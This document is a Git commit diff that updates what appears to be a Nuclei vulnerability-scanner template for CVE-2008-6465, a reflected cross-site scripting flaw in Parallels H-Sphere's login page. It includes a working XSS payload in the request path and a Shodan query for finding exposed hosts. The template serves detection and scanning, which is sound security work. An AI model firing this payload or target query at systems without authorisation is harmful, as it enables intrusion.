Update CVE-2008-6465.yaml

patch-1
Dhiyaneshwaran 2022-11-12 08:02:13 +05:30 committed by GitHub
parent b991a804d8
commit 2c8ace9ea6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 15 deletions

View File

@ -10,28 +10,29 @@ info:
- https://nvd.nist.gov/vuln/detail/CVE-2008-6465
classification:
cve-id: CVE-2008-6465
tags: xss,parallels,hsphere,cve2008
metadata:
verified: true
shodan-query: title:"Parallels H-Sphere"
tags: cve,cve2008,xss,parallels
requests:
- raw:
- |
@timeout: 10s
GET /webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U HTTP/1.1
Host: {{Hostname}}
- method: GET
path:
- '{{BaseURL}}/webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '\" onfocus=alert(document.domain); autofocus'
- 'Please enter login name & password'
- type: word
part: header
words:
- "text/html"
- 'text/html'
- type: word
part: body
words:
- "\" onfocus=alert(document.domain); autofocus"
- "-at--psoft.net>"
- type: status
status:
- 200